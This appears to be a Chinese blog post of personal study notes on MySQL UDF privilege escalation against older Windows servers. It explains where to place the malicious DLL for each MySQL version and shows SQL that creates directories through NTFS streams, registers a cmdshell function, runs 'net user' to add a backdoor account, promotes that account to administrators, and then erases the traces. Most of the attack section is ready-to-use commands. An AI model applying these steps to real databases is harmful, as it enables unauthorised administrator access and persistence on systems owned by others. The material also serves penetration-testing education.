提权学习(三) UDF提权

作者:yzc    发布于:

UDF 提权

0x01 原理

利用 root 的高权限来创建能够调用 cmd 的动态链接库 udf.dll

0x02 前提条件

1.判断 MySQL服务 是否存在
2.目标系统需要时 Windows(2000/XP/2003)
3.需要拥有一个 MySQL 账号,此账号必须拥有对 mysql 的 insert 和 delete 权限以创建和抛弃函数

0x03 具体流程:

1.前期工作:

对数据库 root 账户的账号密码进行寻找(补充账号密码寻找方法)

2.导出 udf

判定数据库的版本

(1)如果版本低于 5.1 则为低版本提权,将生成的动态链接库导出到系统盘符:c:\windows\system32 下即可。

当 MySQL 版本在 4.1 以前时,可以将所有 DLL 文件里面的所有函数注册到 MySQL 里面以供 MySQL使用,无论 DLL 在什么位置都可以。

当 MySQL 版本在 4.1-5.0 之间时,MySQL 对 UDF 函数进行了限制,只有实现了一个特定接口的函数才可以被成功注册到 MySQL 中,这样防止了通过 MySQL 非法调用系统的 DLL。

当 MySQL 版本在 5.0-5.1 之间时,对注册的 DLL 的位置进行了限制,在创建函数的时候,所对应的 DLL 路径不能包含 `/` ,即不能是绝对路径。所以将 DLL 文件注册到 system32 目录来跳过此限制;或者放到盘符的更目录下,通过 `c:udf.dll` 这样的形式来绕过限制。但是后来发现只要把 DLL 文件放到 PATH 这个环境变量所记录的任何一个目录下,都和放在 system32 目录下下过一致。

所以,根据以得出结论:只要 MySQL 版本低于 5.1 ,导出 udf.dll 文件的目录可以尽量写在 `c:\windows\system32` 下即可。

(2)如果版本大于等于 5.1 则为高版本提权,需要将生成的动态链接库导出到 mysql 安装路径下的 lib\plugin 目录下,但是在 MySQL 中并没有 lib目录,也没有 plugin目录,为了导出成功,则需要使用 SQL 命令创建两个目录,以下命令是查找 MySQL 安装目录,并在安装目录下常见 lib目录 和 plugin目录,这也是解决 Can't open shared library 问题时的方法

//查找 MySQL 的安装目录
select @@basedir;
//利用 NTFS ADS 创建 lib目录
select 'It is dll' into dumpfile 'MySQL安装目录\\lib::$INDEX_ALLOCATION';
//利用 NTFS ADS 创建 plugin目录
select 'It is dll' into dumpfile 'MySQL安装目录\\lib\\plugin::$INDEX_ALLOCATION';

lib\plugin 文件夹本来是不存在的,需要先找到 MySQL 的安装路径,并在安装路径下创建 lib\plugin 文件夹,再将 udf.dll 文件导入该文件夹即可
3.提权
  • 具体操作:

(1)使用 SQL 语句创建功能函数:create function 函数名(cmdshell) returns string soname '导出的路径'

create function cmdshell returns string soname '导出路径';

(2)添加用户的 SQL 语句:select cmdshell('net user 用户名 用户名密码 /add');

select cmdshell('net user yzc yzc /add');

(3)将用户添加到管理员组的 SQL 语句:select cmdshell('net localgroup administrators 用户名 /add');

select cmdshell('net localgroup administrators yzc /add');

(4)删除函数的 SQL 语句:

drop function cmdshell;
delete from mysql.func where name='cmdshell';
  • 提权方式

(1)通过大马自带的 udf 提权功能来提权

(2)利用 udf 提权脚本提权

(3)使用 udf 提权工具进行提权

不推荐使用,因为使用工具的前提是目标站 MySQL服务 具有外联功能,若不具备外联功能工具将无法使用

参考文章

udf提权方法和出现问题汇总

MYSQL提权总结

format_list_numbered

(无)

  1. 1. UDF 提权
    1. 1.1. 0x01 原理
    2. 1.2. 0x02 前提条件
    3. 1.3. 0x03 具体流程:
      1. 1.3.1. 1.前期工作:
      2. 1.3.2. 2.导出 udf
      3. 1.3.3. 3.提权
vertical_align_top

Copyright © 2017 yzc's blog

Powered by Hexo & Theme - Vateral